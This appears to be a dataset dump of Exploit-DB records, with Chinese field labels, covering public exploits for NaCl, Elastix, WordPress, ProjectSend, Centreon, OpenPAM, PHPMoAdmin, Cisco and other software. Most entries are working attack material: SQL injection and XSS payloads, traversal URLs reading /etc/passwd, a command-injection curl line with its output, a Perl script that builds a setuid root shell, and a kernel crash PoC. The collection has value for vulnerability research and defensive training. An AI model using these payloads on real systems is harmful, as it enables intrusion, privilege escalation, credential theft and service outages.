QLWD/code_shield huggingface dataset:
标题: Rowhammer - NaCl Sandbox Escape EDB-ID: 36311 CVE: 2015-3693 2015-0565 类型: LOCAL 平台: LINUX_X86-64 发布日期: 2015-03-09 漏洞利用脚本: Sources:
http://googleprojectzero.blogspot.ca/2015/03/exploiting-dram-rowhammer-bug-to-gain.html
https://code.google.com/p/google-security-research/issues/detail?id=284

Full PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36311.tar.gz


This is a proof-of-concept exploit that is able to escape from Native
Client's x86-64 sandbox on machines that are susceptible to the DRAM
"rowhammer" problem.  It works by inducing a bit flip in read-only
code so that the code is no longer safe, producing instruction
sequences that wouldn't pass NaCl's x86-64 validator.

Note that this uses the CLFLUSH instruction, so it doesn't work in
newer versions of NaCl where this instruction is disallowed by the
validator.

There are two ways to test the exploit program without getting a real
rowhammer-induced bit flip:

 * Unit testing: rowhammer_escape_test.c can be compiled and run as a
   Linux executable (instead of as a NaCl executable).  In this case,
   it tests each possible bit flip in its code template, checking that
   each is handled correctly.

 * Testing inside NaCl: The patch "inject_bit_flip_for_testing.patch"
   modifies NaCl's dyncode_create() syscall to inject a bit flip for
   testing purposes.  This syscall is NaCl's interface for loading
   code dynamically.

Mark Seaborn
mseaborn@chromium.org
March 2015 URL: https://www.exploit-db.com/exploits/36311
标题: Elastix 2.x - Blind SQL Injection EDB-ID: 36305 CVE: 2015-1875 类型: WEBAPPS 平台: PHP 发布日期: 2015-03-07 漏洞利用脚本: # Title: Elastix v2.x Blind SQL Injection Vulnerability
# Author: Ahmed Aboul-Ela
# Twitter: https://twitter.com/aboul3la
# Vendor : http://www.elastix.org
# Version: v2.5.0 and prior versions should be affected too
 
- Vulnerable Source Code snippet in "a2billing/customer/iridium_threed.php":
 
  <?php
  [...]
  line 5: getpost_ifset (array('transactionID', 'sess_id', 'key', 'mc_currency', 'currency', 'md5sig', 
  'merchant_id', 'mb_amount', 'status','mb_currency','transaction_id', 'mc_fee', 'card_number'));

  line 34: $QUERY = "SELECT id, cardid, amount, vat, paymentmethod, cc_owner, cc_number, cc_expires, 
  creationdate, status, cvv, credit_card_type,currency, item_id, item_type " . 
  " FROM cc_epayment_log " . " WHERE id = ".$transactionID;

  line 37: $transaction_data = $paymentTable->SQLExec ($DBHandle_max, $QUERY);
  [...]
  ?>    
  
   The GET parameter transactionID was used directly in the SQL query 
   without any sanitization which lead directly to SQL Injection vulnerability.
 
- Proof of Concept: 
 
  http://[host]/a2billing/customer/iridium_threed.php?transactionID=-1 and 1=benchmark(2000000,md5(1))
  
  The backend response will delay for few seconds, which means the benchmark() function was executed successfully
 
- Mitigation:
   
   The vendor has released a fix for the vulnerability. It is strongly recommended to update your elastix server now
   
   [~] yum update elastix-a2billing
 
 
- Time-Line:
 
    Sat, Feb 14, 2015 at 2:19 PM: Vulnerability report sent to Elastix
    Wed, Feb 18, 2015 at 4:29 PM: Confirmation of the issue from Elastix
    Fri, Mar  6, 2015 at 8:39 PM: Elastix released a fix for the vulnerability
    Sat, Mar  7, 2015 at 5:15 PM: The public responsible disclosure

- Credits:
 
    Ahmed Aboul-Ela - Cyber Security Analyst @ EG-CERT URL: https://www.exploit-db.com/exploits/36305
标题: WordPress Plugin Download Manager 2.7.2 - Privilege Escalation EDB-ID: 36301 CVE: 2014-9260 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-24 漏洞利用脚本: # Exploit Title: WordPress Download Manager 2.7.2 Privilege Escalation
# Date: 24-11-2014
# Software Link: https://wordpress.org/plugins/download-manager/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
# CVE: CVE-2014-9260

1. Description
  
Every registered user can update every WordPress options using basic_settings() function.

function basic_settings()
{
    if (isset($_POST['task']) && $_POST['task'] == 'wdm_save_settings') {

        foreach ($_POST as $optn => $optv) {
            update_option($optn, $optv);
        }
        if (!isset($_POST['__wpdm_login_form'])) delete_option('__wpdm_login_form');



        die('Settings Saved Successfully');
    }
    include('settings/basic.php');
}

http://security.szurek.pl/wordpress-download-manager-272-privilege-escalation.html

2. Proof of Concept

Login as standard user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wdm_settings">
    <input type="hidden" name="task" value="wdm_save_settings">
    <input type="hidden" name="section" value="basic">
    <input type="hidden" name="default_role" value="administrator">
    <input type="submit" value="Hack!">
</form>

After that create new user using wp-login.php?action=register. Newly created user will have admin privileges.

3. Solution:
  
Update to version 2.7.3 URL: https://www.exploit-db.com/exploits/36301
标题: ProjectSend r561 - SQL Injection EDB-ID: 36303 CVE: 2015-2564 类型: WEBAPPS 平台: PHP 发布日期: 2015-03-06 漏洞利用脚本: #Vulnerability title: ProjectSend r561 - SQL injection vulnerability
#Product: ProjectSend r561
#Vendor: http://www.projectsend.org/
#Affected version: ProjectSend r561
#Download link: http://www.projectsend.org/download/67/
#Fixed version: N/A
#Author: Le Ngoc Phi (phi.n.le@itas.vn) & ITAS Team (www.itas.vn)


::PROOF OF CONCEPT::

+ REQUEST:
GET /projectsend/users-edit.php?id=<SQL INJECTION HERE> HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101
Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: 54f8105d859e0_SESSION=q6tjpjjbt53nk1o5tnbv2123456;
PHPSESSID=jec50hu4plibu5p2p6hnvpcut6
Connection: keep-alive


- Vulnerable file: client-edit.php
- Vulnerable parameter: id
- Vulnerable code: 
if (isset($_GET['id'])) {
  $client_id = mysql_real_escape_string($_GET['id']);
  /**
   * Check if the id corresponds to a real client.
   * Return 1 if true, 2 if false.
   **/
  $page_status = (client_exists_id($client_id)) ? 1 : 2;
}
else {
  /**
   * Return 0 if the id is not set.
   */
  $page_status = 0;
}

/**
 * Get the clients information from the database to use on the form.
 */
if ($page_status === 1) {
  $editing = $database->query("SELECT * FROM tbl_users WHERE
id=$client_id");
  while($data = mysql_fetch_array($editing)) {
    $add_client_data_name = $data['name'];
    $add_client_data_user = $data['user'];
    $add_client_data_email = $data['email'];
    $add_client_data_addr = $data['address'];
    $add_client_data_phone = $data['phone'];
    $add_client_data_intcont = $data['contact'];
    if ($data['notify'] == 1) { $add_client_data_notity = 1; }
else { $add_client_data_notity = 0; }
    if ($data['active'] == 1) { $add_client_data_active = 1; }
else { $add_client_data_active = 0; }
  }
}



::DISCLOSURE::
+ 01/06/2015: Detect vulnerability
+ 01/07/2015: Contact to vendor
+ 01/08/2015: Send the detail vulnerability to vendor - vendor did not reply
+ 03/05/2015: Public information

::REFERENCE::
-
http://www.itas.vn/news/itas-team-found-out-a-SQL-Injection-vulnerability-in
-projectsend-r561-76.html


::DISCLAIMER::
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF
ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY
IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE
OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS
A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION
OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS,
AND AT THE USER'S OWN RISK.



Best Regards,
---------------------------------------------------------------------
ITAS Team (www.itas.vn) URL: https://www.exploit-db.com/exploits/36303
标题: Centreon 2.3.1 - 'command_name' Remote Command Execution EDB-ID: 36293 CVE: 2011-4431 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/50568/info

Centreon is prone to a remote command-injection vulnerability.

Attackers can exploit this issue to execute arbitrary commands in the context of the application.

Centreon 2.3.1 is affected; other versions may also be vulnerable. 

http://www.example.com/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../bin/cat%20/etc/passwd%20%23&o=h&min=1 URL: https://www.exploit-db.com/exploits/36293
标题: OpenPAM - 'pam_start()' Local Privilege Escalation EDB-ID: 36296 CVE: 2011-4122 类型: LOCAL 平台: BSD 发布日期: 2011-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/50607/info

OpenPAM is prone to a local privilege-escalation vulnerability.

Local attackers may exploit this issue to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. 

#!/usr/bin/perl

# kcheckpass invoking pam_start() with user provided
# service argument, what a bad idea. OpenPAM accepts that.
# Maybe this pam_start() vulnerability is exploitable via
# other vectors as well.
# Vuln tested on a FreeBSD 8.1. It does not affect
# Linux PAM, as it is checking for / character

# (C) 2011 by some dude, meant as a PoC! Only use on your own
# machine and on your own risk!!!
#
# This commit is likely to fix the bug:
# http://trac.des.no/openpam/changeset/478/trunk/lib/openpam_configure.c
#

my $kcheckpass = "/usr/local/kde4/lib/kde4/libexec/kcheckpass";

# build suid shell
open(O,">/tmp/slam.c") or die $!;
print O<<EOC;

#include <stdio.h>
#include <unistd.h>

void __attribute__((constructor)) init()
{
 char *a[] = {"/bin/sh", NULL};
 setuid(0);
 execve(*a, a, NULL);
}
EOC
close(O);

# build fake pam module
system("gcc -fPIC -Wall -c /tmp/slam.c -o /tmp/slam.o;gcc -shared -o /tmp/slam.so /tmp/slam.o");

# build fake PAM service file
open(O,">/tmp/pamslam") or die $!;
print O<<EOP;
auth sufficient /tmp/slam.so
EOP
close(O);

print "We need more Elchsalami! Happy birthday dude!\n";
exec("$kcheckpass -c ../../../tmp/pamslam -m classic"); URL: https://www.exploit-db.com/exploits/36296
标题: S9Y Serendipity 1.5.5 - 'serendipity[filter][bp.ALT]' Cross-Site Scripting EDB-ID: 36283 CVE: 2011-4090 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/50502/info

Serendipity is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects Serendipity 1.5.5; prior versions may also be affected. 

http://www.example.com/serendipity/serendipity_admin_image_selector.php?serendipity[filter][bp.ALT]=</script><script>alert(document.cookie)</script>&go=+-+Go!+-+ URL: https://www.exploit-db.com/exploits/36283
标题: Symphony 2.2.3 - '/symphony/publish/images?filter' Cross-Site Scripting EDB-ID: 36280 CVE: 2011-4340 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/50470/info

Symphony is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Symphony versions prior to 2.2.4 are vulnerable. 

http://example.com/symphony/publish/images/?filter='"--></style></script><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/36280
标题: Symphony 2.2.3 - '/symphony/publish/comments?filter' SQL Injection EDB-ID: 36281 CVE: 2011-4341 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/50470/info

Symphony is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Symphony versions prior to 2.2.4 are vulnerable. 

http://example.com/symphony/publish/comments/?filter='+(SELECT+1+FROM+(SELECT+SLEEP(25))A)+' URL: https://www.exploit-db.com/exploits/36281
标题: DreamBox DM800 - 'file' Local File Disclosure EDB-ID: 36286 CVE: 2011-4716 类型: WEBAPPS 平台: HARDWARE 发布日期: 2011-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/50520/info

DreamBox DM800 is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.

DreamBox DM800 versions 1.5rc1 and prior are vulnerable. 

http://www.example.com/file/?file=[LFD] URL: https://www.exploit-db.com/exploits/36286
标题: Libc - 'regcomp()' Stack Exhaustion Denial of Service EDB-ID: 36288 CVE: 2011-3336 类型: DOS 平台: MULTIPLE 发布日期: 2011-11-04 漏洞利用脚本: <?php
/*
source: https://www.securityfocus.com/bid/50541/info

Multiple Vendors' libc library is prone to a denial-of-service vulnerability due to stack exhaustion.

Successful exploits will allow attackers to make the applications that use the affected library, unresponsive, denying service to legitimate users.

The libc library of the following platforms are affected:

NetBSD 5.1
OpenBSD 5.0
FreeBSD 8.2
Apple Mac OSX

Other versions may also be affected. 
*/
?>

<?
/*
PHP 5.4 5.3 memory_limit bypass exploit poc
by Maksymilian Arciemowicz http://cxsecurity.com/
cxib [ a.T] cxsecurity [ d0t] com

To show memory_limit in PHP

# php /www/memlimpoc.php 1 35000000
PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 35000001 bytes) in
/var/www/memlimpoc.php on line 12

Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 35000001 bytes) in
/var/www/memlimpoc.php on line 12

and try this

# php /www/memlimpoc.php 2

memory_limit bypassed
*/

ini_set("memory_limit","32M");

if($argv[1]==1)
$sss=str_repeat("A",$argv[2]);
elseif($argv[1]==2)
eregi("(.?)(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((.*){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}","a");

?> URL: https://www.exploit-db.com/exploits/36288
标题: Linux Kernel 3.16.3 - Associative Array Garbage Collection Crash (PoC) EDB-ID: 36268 CVE: 2014-3631 类型: DOS 平台: LINUX 发布日期: 2015-03-04 漏洞利用脚本: /* ----------------------------------------------------------------------------------------------------
 * cve-2014-3631_poc.c
 * 
 * The assoc_array_gc function in the associative-array implementation in lib/assoc_array.c in the Linux kernel before 3.16.3 
 * does not properly implement garbage collection, which allows local users to cause a denial of service (NULL pointer dereference and system crash) 
 * or possibly have unspecified other impact via multiple "keyctl newring" operations followed by a "keyctl timeout" operation. 
 *
 * 
 * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
 * 
 * Compile with gcc -fno-stack-protector -Wall -o cve-2014-3631_poc cve-2014-3631_poc.c  -lkeyutils 
 * 
 * 
 * Emeric Nasi - www.sevagas.com
 *-----------------------------------------------------------------------------------------------------*/


/* -----------------------   Includes ----------------------------*/

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <inttypes.h>
#include <keyutils.h>
#include <fcntl.h>


#define TARGET_KERNEL_MIN "3.13.0"
#define TARGET_KERNEL_MAX "3.16.2"
#define EXPLOIT_NAME "cve-2014-3631"
#define EXPLOIT_TYPE DOS


/* -----------------------   functions ----------------------------*/



/**
 * Poc for cve_2014_3631 vulnerability
 */
int main()
{
  key_serial_t currentKey = 0;
  key_serial_t topKey = 0;
  int i = 0;
  int fp;
  char kname[16]={0};
  char gc_delay[16] = {0};
  int delay  =0;
  
  printf("[cve_2014_3631]: Preparing to exploit.\n");

  // fetch garbage collector value..
  fp = open("/proc/sys/kernel/keys/gc_delay",O_RDONLY);
  if(fp == -1)
  {
     printf("[cve_2014_3631 error]: Could not open /proc/sys/kernel/keys/gc_delay, assuming delay is 5 minutes. \n");
     delay = 300;
  }
  else
  {
    read(fp,gc_delay,sizeof(gc_delay-1));
    delay = atoi(gc_delay);
    close(fp);  
  }

  // Add top key
  topKey = add_key("keyring","Lvl1K",NULL,0,KEY_SPEC_USER_KEYRING);
  if(topKey == -1)
  {
    printf("[cve_2014_3631 error]: keyring  fault\n");
    perror("add_key");
    return -1;
  }
  
  // Add 18 keys to top key
  for(i=0; i< 18; i++)
  {
    memset(kname,00,sizeof(kname));
    memcpy(kname,"Lvl2K_",strlen("Lvl2K_"));
    sprintf(kname+strlen("Lvl2K_"),"%d",i);
    currentKey = add_key("keyring",kname,NULL,0,topKey);
    if(currentKey == -1)
    {
      printf("[cve_2014_3631 error]: keyring  fault\n");
      perror("add_key");
      return -1;
    }
  } 
  
  /* Entering exploit critical code */
  printf("[cve_2014_3631]:  Exploit!\n");
  
  // Set timeout and wait for garbage collector
  keyctl_set_timeout(currentKey, 2);
  
  // Wait for garbage collector
  printf("[cve_2014_3631]: Exploit triggered, system will panic in  %d seconds..\n",delay);
  
  return 0;
} URL: https://www.exploit-db.com/exploits/36268
标题: Cisco - 'file' Directory Traversal EDB-ID: 36256 CVE: 2011-3315 类型: REMOTE 平台: HARDWARE 发布日期: 2011-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/50372/info

Multiple Cisco products are prone to a directory-traversal vulnerability.

Exploiting this issue will allow an attacker to read arbitrary files from locations outside of the application's current directory. This could help the attacker launch further attacks.

This issue is tracked by Cisco BugID CSCts44049 and CSCth09343.

The following products are affected:

Cisco Unified IP Interactive Voice Response
Cisco Unified Contact Center Express
Cisco Unified Communications Manager 

http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd

http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../usr/local/platform/conf/platformConfig.xml URL: https://www.exploit-db.com/exploits/36256
标题: PHPMoAdmin - Unauthorized Remote Code Execution EDB-ID: 36251 CVE: 2015-2208 类型: WEBAPPS 平台: PHP 发布日期: 2015-03-03 漏洞利用脚本: ######################################################################
#  _     ___  _   _  ____  ____    _  _____
#  | |   / _ \| \ | |/ ___|/ ___|  / \|_   _|
#  | |  | | | |  \| | |  _| |     / _ \ | |
#  | |__| |_| | |\  | |_| | |___ / ___ \| |
#  |_____\___/|_| \_|\____|\____/_/   \_\_|
#
# PHPMoAdmin Unauthorized Remote Code Execution (0-Day)
# Website : http://www.phpmoadmin.com/
# Exploit Author : @u0x (Pichaya Morimoto), Xelenonz, pe3z, Pistachio
# Release dates : March 3, 2015
#
# Special Thanks to 2600 Thailand group
# https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/
#
########################################################################

[+] Description
============================================================
PHPMoAdmin is a MongoDB administration tool for PHP built on a
stripped-down version of the Vork high-performance framework.

[+] Exploit
============================================================
Someone was trying to sale this shit for 3000usd lolz

$ curl "http://path.to/moadmin.php" -d "object=1;system('id');exit"

[+] Proof-of-Concept
============================================================
PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7

POST /moadmin/moadmin.php HTTP/1.1
Host: 192.168.33.10
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0)
Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

object=1;system('id;ls -lha');exit

HTTP/1.1 200 OK
Date: Tue, 03 Mar 2015 16:57:40 GMT
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: PHPSESSID=m0ap55aonsj5ueph7hgku0elb1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 223
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 116K
drwxr-xr-x 1 longcat longcat  102 Mar  3 16:55 .
drwxr-xr-x 6 root    root    4.0K Mar  3 16:17 ..
-rw-rw-r-- 1 longcat longcat 112K Mar  3 16:55 moadmin.php

[+] Vulnerability Analysis
============================================================
Filename: moadmin.php
1. create new moadminComponent object
1977: $mo = new moadminComponent;

2. if the http-post parameter 'object' is set
738: class moadminComponent {
...
762: public function __construct() {
...
786: if (isset($_POST['object'])) {
787:    if (self::$model->saveObject($_GET['collection'],
$_POST['object'])) {
...

3. evaluate the value of 'object' as PHP code
692: public function saveObject($collection, $obj) {
693:    eval('$obj=' . $obj . ';'); //cast from string to array URL: https://www.exploit-db.com/exploits/36251
标题: WordPress Theme Photocrati 4.x - SQL Injection / Cross-Site Scripting EDB-ID: 36242 CVE: 2015-2216 类型: WEBAPPS 平台: PHP 发布日期: 2015-03-03 漏洞利用脚本: # Exploit Title: [ wordpress theme photocrati 4.X.X SQL INJECTION ]
# Google Dork: [ Designed by Photocrati ] also [powered by Photocrati]
# Date: [23 / 09 / 2011 ]
# Exploit Author: [ ayastar ]
# Email : dmx-ayastar@hotmail.fr
# Software Link: [ http://www.photocrati.com ]
# Version: [4.X.X]
# Tested on: [ windows 7 ]


--------
details |
=======================================================
Software : photocrati
version : 4.X.X
Risk : High
remote : yes

attacker can do a remote injection in site URL to get some sensitive information .
almost all version are infected by this vunl. 
=======================================================
Exploit code :
http://sitewordpress/wp-content/themes/[photocrati-Path-theme]/ecomm-sizes.php?prod_id=[SQL]

greetz to all muslims and all tryag member's 
:) from morocco URL: https://www.exploit-db.com/exploits/36242
标题: e107 0.7.24 - 'cmd' Remote Command Execution EDB-ID: 36252 CVE: 2011-1513 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/50339/info

e107 is prone to a remote command-execution vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to execute arbitrary commands within the context of the vulnerable application.

e107 0.7.24 is vulnerable; other versions may also be affected. 

http://www.example.com/e107_config.php?cmd=id URL: https://www.exploit-db.com/exploits/36252